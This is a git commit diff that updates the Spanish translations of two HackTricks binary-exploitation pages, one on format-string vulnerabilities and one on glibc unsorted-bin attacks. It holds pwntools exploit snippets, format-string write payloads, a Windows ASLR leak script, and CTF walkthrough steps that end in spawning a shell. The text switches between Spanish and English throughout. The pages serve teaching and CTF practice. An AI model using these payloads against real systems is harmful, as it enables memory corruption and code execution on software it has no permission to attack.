mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/binary-exploitation/format-strings/README.md', 'src
This commit is contained in:
parent
04da9c98e8
commit
ab2b94276d
@ -1,17 +1,17 @@
|
||||
# Cadenas de formato
|
||||
# Format Strings
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
## Información básica
|
||||
|
||||
En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que esta función espera es el **texto crudo con los formateadores**. Los **parámetros siguientes** esperados son los **valores** para **sustituir** los **formateadores** del texto crudo.
|
||||
En C **`printf`** es una función que puede usarse para **imprimir** una cadena. El **primer parámetro** que espera esta función es el **texto crudo con los especificadores de formato**. Los **parámetros siguientes** que se esperan son los **valores** para **sustituir** los **especificadores de formato** del texto crudo.
|
||||
|
||||
Otras funciones vulnerables son **`sprintf()`** y **`fprintf()`**.
|
||||
|
||||
La vulnerabilidad aparece cuando un **texto controlado por el atacante se usa como el primer argumento** de esta función. El atacante podrá elaborar una **entrada especial abusando** de las **capacidades de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo será posible **ejecutar código arbitrario**.
|
||||
La vulnerabilidad aparece cuando un **texto del atacante se usa como primer argumento** de esta función. El atacante podrá crear una **entrada especial abusando** de las capacidades de la **cadena de formato de printf** para leer y **escribir cualquier dato en cualquier dirección (legible/escribible)**. De este modo podrá **ejecutar código arbitrario**.
|
||||
|
||||
#### Especificadores de formato:
|
||||
#### Especificadores:
|
||||
```bash
|
||||
%08x —> 8 hex bytes
|
||||
%d —> Entire
|
||||
@ -54,7 +54,7 @@ return 0;
|
||||
```
|
||||
### **Accediendo a punteros**
|
||||
|
||||
El formato **`%<n>$x`**, donde `n` es un número, permite indicar a printf que seleccione el parámetro n (de la pila). Entonces, si quieres leer el cuarto parámetro de la pila usando printf podrías hacer:
|
||||
El formato **`%<n>$x`**, donde `n` es un número, permite indicarle a printf que seleccione el parámetro n (desde la stack). Así que si quieres leer el 4º parámetro de la stack usando printf podrías hacer:
|
||||
```c
|
||||
printf("%x %x %x %x")
|
||||
```
|
||||
@ -66,14 +66,14 @@ printf("%4$x")
|
||||
```
|
||||
y leer directamente el cuarto.
|
||||
|
||||
Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su input va a estar en el stack cuando se llame a `printf`, lo que implica que podría escribir direcciones de memoria específicas en el stack.
|
||||
Fíjate que el atacante controla el `printf` **parámetro, lo que básicamente significa que** su entrada estará en la stack cuando se llame a `printf`, por lo que podría escribir direcciones de memoria específicas en la stack.
|
||||
|
||||
> [!CAUTION]
|
||||
> Un atacante que controle este input, podrá **añadir direcciones arbitrarias en el stack y hacer que `printf` acceda a ellas**. En la siguiente sección se explicará cómo usar este comportamiento.
|
||||
> Un atacante que controle esta entrada podrá **añadir direcciones arbitrarias en la stack y hacer que `printf` las acceda**. En la siguiente sección se explicará cómo usar este comportamiento.
|
||||
|
||||
## **Arbitrary Read**
|
||||
|
||||
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla e **imprimirla como si fuera una cadena** (imprime hasta encontrar un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario comienza en la cuarta posición en el stack, es posible imprimir el inicio del binario con:
|
||||
Es posible usar el formateador **`%n$s`** para hacer que **`printf`** obtenga la **dirección** situada en la **posición n**, seguirla y **imprimirla como si fuera una cadena** (imprime hasta que se encuentre un 0x00). Así que si la dirección base del binario es **`0x8048000`**, y sabemos que la entrada del usuario empieza en la cuarta posición en la stack, es posible imprimir el inicio del binario con:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
@ -87,11 +87,11 @@ p.sendline(payload)
|
||||
log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||'
|
||||
```
|
||||
> [!CAUTION]
|
||||
> Ten en cuenta que no puedes poner la address 0x8048000 al principio del input porque la string será cat en 0x00 al final de esa address.
|
||||
> Ten en cuenta que no puedes poner la dirección 0x8048000 al principio de la entrada porque la cadena se truncará en 0x00 al final de esa dirección.
|
||||
|
||||
### Encontrar offset
|
||||
### Encontrar el offset
|
||||
|
||||
Para encontrar el offset de tu input puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
|
||||
Para encontrar el offset de tu entrada puedes enviar 4 u 8 bytes (`0x41414141`) seguidos de **`%1$x`** e **incrementar** el valor hasta recuperar las `A's`.
|
||||
|
||||
<details>
|
||||
|
||||
@ -130,36 +130,36 @@ p.close()
|
||||
|
||||
Arbitrary reads pueden ser útiles para:
|
||||
|
||||
- **Dump** el **binary** desde la memoria
|
||||
- **Acceder** a partes específicas de la memoria donde se almacena **información** sensible (como canaries, claves de cifrado o contraseñas personalizadas como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
- **Dump** the **binary** de la memoria
|
||||
- **Access specific parts of memory where sensitive** **info** se almacena (como canaries, encryption keys o custom passwords como en este [**CTF challenge**](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak#read-arbitrary-value))
|
||||
|
||||
## **Arbitrary Write**
|
||||
|
||||
El formateador `%<num>$n` escribe el número de bytes escritos en la dirección indicada por el parámetro <num> en el stack. Si un atacante puede escribir tantos caracteres como quiera con printf, podrá hacer que `%<num>$n` escriba un número arbitrario en una dirección arbitraria.
|
||||
El formateador **`%<num>$n`** **escribe** el **número de bytes escritos** en la **dirección indicada** en el parámetro `<num>` en la pila. Si un atacante puede escribir tantos caracteres como quiera con `printf`, podrá hacer que **`%<num>$n`** escriba un número arbitrario en una dirección arbitraria.
|
||||
|
||||
Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s en la entrada; por ello es posible usar el formateador `%.<num-write>%<num>$n` para escribir el número `<num-write>` en la dirección apuntada por la posición `num`.
|
||||
Afortunadamente, para escribir el número 9999 no es necesario añadir 9999 "A"s a la entrada; para ello es posible usar el formateador **`%.<num-write>%<num>$n`** para escribir el número **`<num-write>`** en la **dirección apuntada por la posición `num`**.
|
||||
```bash
|
||||
AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param
|
||||
AAAA.%500\$08x —> Param at offset 500
|
||||
```
|
||||
Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de una vez), **se usa `$hn`** en vez de `$n`. Esto permite **escribir sólo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la address y otra para los más bajos.
|
||||
Sin embargo, ten en cuenta que normalmente, para escribir una dirección como `0x08049724` (que es un número ENORME para escribir de golpe), **se usa `$hn`** en lugar de `$n`. Esto permite **escribir solo 2 Bytes**. Por lo tanto, esta operación se realiza dos veces: una para los 2B más altos de la dirección y otra para los 2B más bajos.
|
||||
|
||||
Por tanto, esta vulnerabilidad permite **escribir cualquier cosa en cualquier dirección (arbitrary write).**
|
||||
|
||||
En este ejemplo, el objetivo va a ser **overwrite** la **address** de una **function** en la tabla **GOT** que será llamada más adelante. Aunque esto podría aprovechar otras arbitrary write to exec techniques:
|
||||
En este ejemplo, el objetivo será **sobrescribir** la **dirección** de una **función** en la **GOT** que se llamará más adelante. Aunque esto podría aprovechar otras técnicas de arbitrary write to exec:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../arbitrary-write-2-exec/
|
||||
{{#endref}}
|
||||
|
||||
Vamos a **overwrite** una **function** que **recibe** sus **arguments** del **user** y la **point** hacia la **`system`** **function**.\
|
||||
Como se mencionó, para escribir la address normalmente se necesitan 2 pasos: primero **escribes 2Bytes** de la address y luego los otros 2. Para ello se usa **`$hn`**.
|
||||
Vamos a **sobrescribir** una **función** que **recibe** sus **argumentos** del **usuario** y **apuntarla** a la función **`system`**.\
|
||||
Como se mencionó, para escribir la dirección suelen hacerse 2 pasos: primero escribes 2Bytes de la dirección y luego los otros 2. Para ello se usa **`$hn`**.
|
||||
|
||||
- A **HOB** se le llama a los 2 higher bytes de la address
|
||||
- A **LOB** se le llama a los 2 lower bytes de la address
|
||||
- **HOB** denomina a los 2 bytes más altos de la dirección
|
||||
- **LOB** denomina a los 2 bytes más bajos de la dirección
|
||||
|
||||
Luego, debido a cómo funcionan las format string necesitas **escribir primero el más pequeño** de \[HOB, LOB] y luego el otro.
|
||||
Luego, por cómo funciona format string debes **escribir primero el menor** de \[HOB, LOB] y luego el otro.
|
||||
|
||||
Si HOB < LOB\
|
||||
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
|
||||
@ -173,7 +173,7 @@ python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "
|
||||
```
|
||||
### Plantilla de Pwntools
|
||||
|
||||
Puedes encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en:
|
||||
Puede encontrar una **plantilla** para preparar un exploit para este tipo de vulnerabilidad en:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
@ -203,23 +203,24 @@ p.interactive()
|
||||
|
||||
Es posible abusar de las acciones de escritura de una format string vulnerability para **escribir en direcciones de la pila** y explotar una vulnerabilidad de tipo **buffer overflow**.
|
||||
|
||||
|
||||
## Windows x64: Format-string leak to bypass ASLR (no varargs)
|
||||
|
||||
En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites vulnerables la cadena controlada por el atacante se usa como argumento de formato pero no se proporcionan argumentos variádicos, por ejemplo:
|
||||
En Windows x64 los primeros cuatro parámetros enteros/puntero se pasan en registros: RCX, RDX, R8, R9. En muchos call-sites con bugs la cadena controlada por el atacante se usa como argumento de formato, pero no se proporcionan argumentos variádicos, por ejemplo:
|
||||
```c
|
||||
// keyData is fully controlled by the client
|
||||
// _snprintf(dst, len, fmt, ...)
|
||||
_snprintf(keyStringBuffer, 0xff2, (char*)keyData);
|
||||
```
|
||||
Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente argumento variádico del registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el sitio de la llamada será impreso. En la práctica esto a menudo produce un leak de un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), que puede usarse para recuperar la module base y derrotar ASLR.
|
||||
Porque no se pasan varargs, cualquier conversión como "%p", "%x", "%s" hará que el CRT lea el siguiente variadic argument desde el registro correspondiente. Con la Microsoft x64 calling convention la primera lectura para "%p" proviene de R9. Cualquier valor transitorio que esté en R9 en el call-site será impreso. En la práctica esto a menudo leaks un puntero estable dentro del módulo (p. ej., un puntero a un objeto local/global previamente colocado en R9 por el código circundante o un callee-saved value), lo cual puede usarse para recuperar la module base y derrotar ASLR.
|
||||
|
||||
Practical workflow:
|
||||
|
||||
- Inyecta un formato inofensivo como "%p " al inicio de la cadena controlada por el atacante para que la primera conversión se ejecute antes de cualquier filtrado.
|
||||
- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (by reversing once with symbols or a local copy), y recupera el image base como `leak - known_offset`.
|
||||
- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y IAT entries de forma remota.
|
||||
- Captura el leaked pointer, identifica el offset estático de ese objeto dentro del módulo (revirtiendo una vez con símbolos o una copia local), y recupera la image base como `leak - known_offset`.
|
||||
- Reutiliza esa base para calcular direcciones absolutas de ROP gadgets y entradas IAT de forma remota.
|
||||
|
||||
Example (abbreviated python):
|
||||
Ejemplo (python abreviado):
|
||||
```python
|
||||
from pwn import remote
|
||||
|
||||
@ -232,13 +233,13 @@ base = leaked - 0x20660 # module base = leak - offset
|
||||
print(hex(leaked), hex(base))
|
||||
```
|
||||
Notas:
|
||||
- El offset exacto a restar se encuentra una vez durante el reversing local y luego se reutiliza (mismo binary/version).
|
||||
- Si "%p" no imprime un pointer válido en el primer intento, prueba otros specifiers ("%llx", "%s") o conversiones múltiples ("%p %p %p") para samplear otros argument registers/stack.
|
||||
- Este patrón es específico de la Windows x64 calling convention y de las implementaciones de printf-family que fetch nonexistent varargs from registers cuando el format string los solicita.
|
||||
- El exact offset a restar se encuentra una vez durante el reversing local y luego se reutiliza (same binary/version).
|
||||
- Si "%p" no imprime un puntero válido en el primer intento, prueba otros specifiers ("%llx", "%s") o múltiples conversiones ("%p %p %p") para samplear otros argument registers/stack.
|
||||
- Este patrón es específico de la Windows x64 calling convention y de las implementaciones printf-family que obtienen varargs inexistentes desde registers cuando el format string los solicita.
|
||||
|
||||
Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows compilados con ASLR y sin primitivas obvias de memory disclosure.
|
||||
|
||||
## Otros Examples & References
|
||||
## Otros Ejemplos & Referencias
|
||||
|
||||
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
|
||||
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
|
||||
@ -248,10 +249,10 @@ Esta técnica es extremadamente útil para bootstrap ROP en servicios Windows co
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string para sobrescribir la dirección `fflush` con la función win (ret2win)
|
||||
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
|
||||
- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (así el flujo vuelve a entrar 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelve a main, `strlen` se ejecuta con input del usuario y, apuntando a `system`, ejecutará los comandos pasados.
|
||||
- 32 bit, relro, no canary, nx, no pie, format string para escribir una dirección dentro de main en `.fini_array` (de modo que el flujo vuelva a ejecutarse 1 vez más) y escribir la dirección de `system` en la tabla GOT apuntando a `strlen`. Cuando el flujo vuelva a main, `strlen` se ejecutará con input del usuario y apuntando a `system`, ejecutará los comandos pasados.
|
||||
|
||||
|
||||
## Referencias
|
||||
## References
|
||||
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE)](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [x64 calling convention (MSVC)](https://learn.microsoft.com/en-us/cpp/build/x64-calling-convention)
|
||||
|
@ -11,9 +11,9 @@ For more information about what is an unsorted bin check this page:
|
||||
bins-and-memory-allocations.md
|
||||
{{#endref}}
|
||||
|
||||
Unsorted lists are able to write the address to `unsorted_chunks (av)` in the `bk` address of the chunk. Therefore, if an attacker can **modify the address of the `bk` pointer** in a chunk inside the unsorted bin, he could be able to **write that address in an arbitrary address** which could be helpful to leak a Glibc addresses or bypass some defense.
|
||||
Las listas unsorted pueden escribir la dirección de `unsorted_chunks (av)` en la dirección `bk` del chunk. Por lo tanto, si un atacante puede **modificar la dirección del puntero `bk`** en un chunk dentro del unsorted bin, podría ser capaz de **escribir esa dirección en una dirección arbitraria**, lo que puede ser útil para leak direcciones de Glibc o para eludir alguna defensa.
|
||||
|
||||
So, basically, this attack allows to **set a big number at an arbitrary address**. This big number is an address, which could be a heap address or a Glibc address. A traditional target was **`global_max_fast`** to allow to create fast bin bins with bigger sizes (and pass from an unsorted bin attack to a fast bin attack).
|
||||
Así que, básicamente, este ataque permite **establecer un número grande en una dirección arbitraria**. Ese número grande es una dirección, que podría ser una dirección del heap o una dirección de Glibc. Un objetivo tradicional era **`global_max_fast`** para permitir crear fast bin bins con tamaños mayores (y pasar de un unsorted bin attack a un fast bin attack).
|
||||
|
||||
- Modern note (glibc ≥ 2.39): `global_max_fast` became an 8‑bit global. Blindly writing a pointer there via an unsorted-bin write will clobber adjacent libc data and will not reliably raise the fastbin limit anymore. Prefer other targets or other primitives when running against glibc 2.39+. See "Modern constraints" below and consider combining with other techniques like a [large bin attack](large-bin-attack.md) or a [fast bin attack](fast-bin-attack.md) once you have a stable primitive.
|
||||
|
||||
@ -23,20 +23,20 @@ So, basically, this attack allows to **set a big number at an arbitrary address*
|
||||
> Therefore, this unsorted bin attack now (among other checks) also requires to be able to fix the doubled linked list so this is bypassed `victim->bk->fd == victim` or not `victim->fd == av (arena)`, which means that the address where we want to write must have the address of the fake chunk in its `fd` position and that the fake chunk `fd` is pointing to the arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that this attack corrupts the unsorted bin (hence small and large too). So we can only **use allocations from the fast bin now** (a more complex program might do other allocations and crash), and to trigger this we must **allocate the same size or the program will crash.**
|
||||
> Ten en cuenta que este ataque corrompe el unsorted bin (y por tanto también small y large). Así que ahora solo podemos **usar asignaciones desde el fast bin** (un programa más complejo puede hacer otras asignaciones y crashear), y para desencadenarlo debemos **asignar del mismo tamaño o el programa crasheará.**
|
||||
>
|
||||
> Note that overwriting **`global_max_fast`** might help in this case trusting that the fast bin will be able to take care of all the other allocations until the exploit is completed.
|
||||
> Ten en cuenta que sobrescribir **`global_max_fast`** puede ayudar en este caso confiando en que el fast bin se encargará de todas las demás asignaciones hasta que el exploit se complete.
|
||||
|
||||
The code from [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) explains it very well, although if you modify the mallocs to allocate memory big enough so don't end in a Tcache you can see that the previously mentioned error appears preventing this technique: **`malloc(): unsorted double linked list corrupted`**
|
||||
El código de [**guyinatuxedo**](https://guyinatuxedo.github.io/31-unsortedbin_attack/unsorted_explanation/index.html) lo explica muy bien, aunque si modificas los mallocs para solicitar memoria lo bastante grande para no caer en Tcache puedes ver que aparece el error mencionado anteriormente y evita esta técnica: **`malloc(): unsorted double linked list corrupted`**
|
||||
|
||||
### Cómo ocurre la escritura
|
||||
### How the write actually happens
|
||||
|
||||
- The unsorted-bin write is triggered on `free` when the freed chunk is inserted at the head of the unsorted list.
|
||||
- During insertion, the allocator performs `bck = unsorted_chunks(av); fwd = bck->fd; victim->bk = bck; victim->fd = fwd; fwd->bk = victim; bck->fd = victim;`
|
||||
- If you can set `victim->bk` to `(mchunkptr)(TARGET - 0x10)` before calling `free(victim)`, the final statement will perform the write: `*(TARGET) = victim`.
|
||||
- Later, when the allocator processes the unsorted bin, integrity checks will verify (among other things) that `bck->fd == victim` and `victim->fd == unsorted_chunks(av)` before unlinking. Because the insertion already wrote `victim` into `bck->fd` (our `TARGET`), these checks can be satisfied if the write succeeded.
|
||||
|
||||
## Restricciones modernas (glibc ≥ 2.33)
|
||||
## Modern constraints (glibc ≥ 2.33)
|
||||
|
||||
To use unsorted‑bin writes reliably on current glibc:
|
||||
|
||||
@ -46,17 +46,17 @@ To use unsorted‑bin writes reliably on current glibc:
|
||||
- if the environment is controllable, disable tcache (e.g., GLIBC_TUNABLES glibc.malloc.tcache_count=0).
|
||||
- Integrity checks on the unsorted list: on the next allocation path that examines the unsorted bin, glibc checks (simplified):
|
||||
- `bck->fd == victim` and `victim->fd == unsorted_chunks(av)`; otherwise it aborts with `malloc(): unsorted double linked list corrupted`.
|
||||
- This means the address you target must tolerate two writes: first `*(TARGET) = victim` at free‑time; later, as the chunk is removed, `*(TARGET) = unsorted_chunks(av)` (the allocator rewrites `bck->fd` back to the bin head). Choose targets where simply forcing a large non‑zero value is useful.
|
||||
- Typical stable targets in modern exploits
|
||||
- Application or global state that treats "large" values as flags/limits.
|
||||
- Indirect primitives (e.g., set up for a subsequent [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) or to pivot a later write‐what‐where).
|
||||
- Avoid `__malloc_hook`/`__free_hook` on new glibc: they were removed in 2.34. Avoid `global_max_fast` on ≥ 2.39 (see next note).
|
||||
- About `global_max_fast` on recent glibc
|
||||
- On glibc 2.39+, `global_max_fast` is an 8‑bit global. The classic trick of writing a heap pointer into it (to enlarge fastbins) no longer works cleanly and is likely to corrupt adjacent allocator state. Prefer other strategies.
|
||||
- Esto significa que la dirección que apuntas debe tolerar dos escrituras: primero `*(TARGET) = victim` en el momento del free; después, cuando se elimina el chunk, `*(TARGET) = unsorted_chunks(av)` (el allocator reescribe `bck->fd` con la cabeza del bin). Elige objetivos donde forzar simplemente un valor grande no nulo sea útil.
|
||||
- Objetivos típicos y estables en exploits modernos
|
||||
- Estado de la aplicación o global que trate valores "grandes" como flags/límites.
|
||||
- Primitivas indirectas (por ejemplo, preparar un subsecuente [fast bin attack]({{#ref}}fast-bin-attack.md{{#endref}}) o pivotar a una posterior escritura write‑what‑where).
|
||||
- Evita `__malloc_hook`/`__free_hook` en versiones nuevas de glibc: fueron eliminados en 2.34. Evita `global_max_fast` en ≥ 2.39 (ver nota anterior).
|
||||
- Sobre `global_max_fast` en glibc reciente
|
||||
- En glibc 2.39+, `global_max_fast` es un global de 8 bits. El truco clásico de escribir un puntero del heap allí (para ampliar fastbins) ya no funciona bien y probablemente corrompa el estado adyacente del allocator. Prefiere otras estrategias.
|
||||
|
||||
## Receta mínima de explotación (glibc moderno)
|
||||
## Minimal exploitation recipe (modern glibc)
|
||||
|
||||
Goal: achieve a single arbitrary write of a heap pointer to an arbitrary address using the unsorted‑bin insertion primitive, without crashing.
|
||||
Objetivo: lograr una única escritura arbitraria de un puntero del heap a una dirección arbitraria usando la primitiva de inserción del unsorted‑bin, sin provocar un crash.
|
||||
|
||||
- Layout/grooming
|
||||
- Allocate A, B, C with sizes large enough to bypass tcache (e.g., 0x5000). C prevents consolidation with the top chunk.
|
||||
@ -80,33 +80,33 @@ void *C = malloc(0x5000); // guard
|
||||
free(B); // triggers *(TARGET) = B (unsorted-bin insertion write)
|
||||
```
|
||||
> [!NOTE]
|
||||
> • Si no puedes bypassear tcache por tamaño, llena el tcache bin para el tamaño elegido (7 frees) antes de liberar el chunk corrompido para que el free vaya a unsorted.
|
||||
> • Si el programa aborta inmediatamente en la siguiente allocation debido a unsorted-bin checks, reexamina que `victim->fd` siga siendo igual al bin head y que tu `TARGET` contenga el puntero exacto a `victim` tras la primera escritura.
|
||||
> • Si no puedes bypassear tcache por el tamaño, llena la tcache bin para el tamaño elegido (7 frees) antes de liberar el chunk corrompido para que el free vaya a unsorted.
|
||||
> • Si el programa aborta inmediatamente en la siguiente asignación debido a las comprobaciones de unsorted-bin, reexamina que `victim->fd` siga igual al bin head y que tu `TARGET` mantenga el puntero exacto `victim` después del primer write.
|
||||
|
||||
## Unsorted Bin Infoleak Attack
|
||||
|
||||
Este es en realidad un concepto muy básico. Los chunks en el unsorted bin van a tener punteros. El primer chunk en el unsorted bin tendrá en realidad los enlaces **`fd`** y **`bk`** **apuntando a una parte del main arena (Glibc)**.\
|
||||
Por lo tanto, si puedes **colocar un chunk dentro de un unsorted bin y leerlo** (use after free) o **alocarlo de nuevo sin sobrescribir al menos 1 de los punteros** para luego **leerlo**, puedes obtener un **Glibc info leak**.
|
||||
This is actually a very basic concept. The chunks in the unsorted bin are going to have pointers. The first chunk in the unsorted bin will actually have the **`fd`** and the **`bk`** links **pointing to a part of the main arena (Glibc)**.\
|
||||
Therefore, if you can **put a chunk inside a unsorted bin and read it** (use after free) or **allocate it again without overwriting at least 1 of the pointers** to then **read** it, you can have a **Glibc info leak**.
|
||||
|
||||
Un [**ataque similar usado en este writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html) consistió en abusar de una estructura de 4 chunks (A, B, C y D - D solo para evitar consolidación con el top chunk) de modo que un null byte overflow en B se usó para hacer que C indicara que B estaba libre. Además, en B se modificó el dato `prev_size` para que el tamaño en lugar de ser el de B fuera A+B.\
|
||||
Luego C fue liberado y consolidado con A+B (pero B seguía in use). Se alocó un nuevo chunk de tamaño A y entonces las direcciones libc filtradas se escribieron en B desde donde fueron leakadas.
|
||||
A similar [**attack used in this writeup**](https://guyinatuxedo.github.io/33-custom_misc_heap/csaw18_alienVSsamurai/index.html), was to abuse a 4 chunks structure (A, B, C and D - D is only to prevent consolidation with top chunk) so a null byte overflow in B was used to make C indicate that B was unused. Also, in B the `prev_size` data was modified so the size instead of being the size of B was A+B.\
|
||||
Then C was deallocated, and consolidated with A+B (but B was still in used). A new chunk of size A was allocated and then the libc leaked addresses was written into B from where they were leaked.
|
||||
|
||||
## Referencias y otros ejemplos
|
||||
## References & Other examples
|
||||
|
||||
- [**https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap**](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/unsorted_bin_attack/#hitcon-training-lab14-magic-heap)
|
||||
- El objetivo es sobrescribir una variable global con un valor mayor a 4869 para poder obtener la flag y PIE no está habilitado.
|
||||
- Es posible generar chunks de tamaños arbitrarios y hay un heap overflow con el tamaño deseado.
|
||||
- El ataque empieza creando 3 chunks: chunk0 para abusar del overflow, chunk1 para ser overflowed y chunk2 para que el top chunk no consolide los anteriores.
|
||||
- Luego, chunk1 se libera y chunk0 se desborda hasta donde apunta el `bk` de chunk1: `bk = magic - 0x10`
|
||||
- Después, se aloca chunk3 con el mismo tamaño que chunk1, lo que disparará el unsorted bin attack y modificará el valor de la variable global, haciendo posible obtener la flag.
|
||||
- The goal is to overwrite a global variable with a value greater than 4869 so it's possible to get the flag and PIE is not enabled.
|
||||
- It's possible to generate chunks of arbitrary sizes and there is a heap overflow with the desired size.
|
||||
- The attack starts creating 3 chunks: chunk0 to abuse the overflow, chunk1 to be overflowed and chunk2 so top chunk doesn't consolidate the previous ones.
|
||||
- Then, chunk1 is freed and chunk0 is overflowed to the `bk` pointer of chunk1 points to: `bk = magic - 0x10`
|
||||
- Then, chunk3 is allocated with the same size as chunk1, which will trigger the unsorted bin attack and will modify the value of the global variable, making possible to get the flag.
|
||||
- [**https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html**](https://guyinatuxedo.github.io/31-unsortedbin_attack/0ctf16_zerostorage/index.html)
|
||||
- La función merge es vulnerable porque si ambos índices pasados son el mismo, hará realloc sobre él y luego lo freeará devolviendo un puntero a esa región liberada que puede ser usada.
|
||||
- Por tanto, **se crean 2 chunks**: **chunk0** que será merged consigo mismo y chunk1 para prevenir la consolidación con el top chunk. Luego, se llama a la función **merge con chunk0** dos veces, lo que causará un use after free.
|
||||
- Después, se llama a la función **view** con el índice 2 (que es el índice del chunk con use after free), lo que **leakeará una dirección libc**.
|
||||
- Como el binario tiene protecciones que solo permiten malloc de tamaños mayores a **`global_max_fast`** por lo que no se usan fastbin, se usa un unsorted bin attack para sobrescribir la variable global `global_max_fast`.
|
||||
- Luego, es posible llamar a edit con el índice 2 (el puntero del use after free) y sobrescribir el puntero `bk` para que apunte a `p64(global_max_fast-0x10)`. Posteriormente, crear un nuevo chunk usará la dirección previamente comprometida (0x20) que **disparará el unsorted bin attack** sobrescribiendo `global_max_fast` con un valor muy grande, permitiendo ahora crear chunks en fast bins.
|
||||
- Ahora se realiza un **fast bin attack**:
|
||||
- Primero se descubre que es posible trabajar con fast **chunks de tamaño 200** en la ubicación de **`__free_hook`**:
|
||||
- The merge function is vulnerable because if both indexes passed are the same one it'll realloc on it and then free it but returning a pointer to that freed region that can be used.
|
||||
- Therefore, **2 chunks are created**: **chunk0** which will be merged with itself and chunk1 to prevent consolidating with the top chunk. Then, the **merge function is called with chunk0** twice which will cause a use after free.
|
||||
- Then, the **`view`** function is called with index 2 (which the index of the use after free chunk), which will **leak a libc address**.
|
||||
- As the binary has protections to only malloc sizes bigger than **`global_max_fast`** so no fastbin is used, an unsorted bin attack is going to be used to overwrite the global variable `global_max_fast`.
|
||||
- Then, it's possible to call the edit function with the index 2 (the use after free pointer) and overwrite the `bk` pointer to point to `p64(global_max_fast-0x10)`. Then, creating a new chunk will use the previously compromised free address (0x20) will **trigger the unsorted bin attack** overwriting the `global_max_fast` which a very big value, allowing now to create chunks in fast bins.
|
||||
- Now a **fast bin attack** is performed:
|
||||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
@ -115,19 +115,21 @@ gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||||
</code></pre>
|
||||
- Si conseguimos un fast chunk de tamaño 0x200 en esa ubicación, será posible sobrescribir un puntero a función que se ejecutará.
|
||||
- Para ello, se crea un nuevo chunk de tamaño `0xfc` y se llama a merged con ese puntero dos veces; de este modo se obtiene un puntero a un chunk liberado de tamaño `0xfc*2 = 0x1f8` en el fast bin.
|
||||
- Después, se llama a edit en ese chunk para modificar la dirección **`fd`** de ese fast bin para que apunte al previo **`__free_hook`**.
|
||||
- A continuación, se crea un chunk de tamaño `0x1f8` para recuperar del fast bin el chunk inútil anterior y luego se crea otro chunk de tamaño `0x1f8` para obtener un fast bin chunk en **`__free_hook`** que se sobrescribe con la dirección de la función **`system`**.
|
||||
- Y finalmente, un chunk que contiene la cadena `/bin/sh\x00` es liberado llamando a la función delete, disparando **`__free_hook`** que apunta a system con `/bin/sh\x00` como parámetro.
|
||||
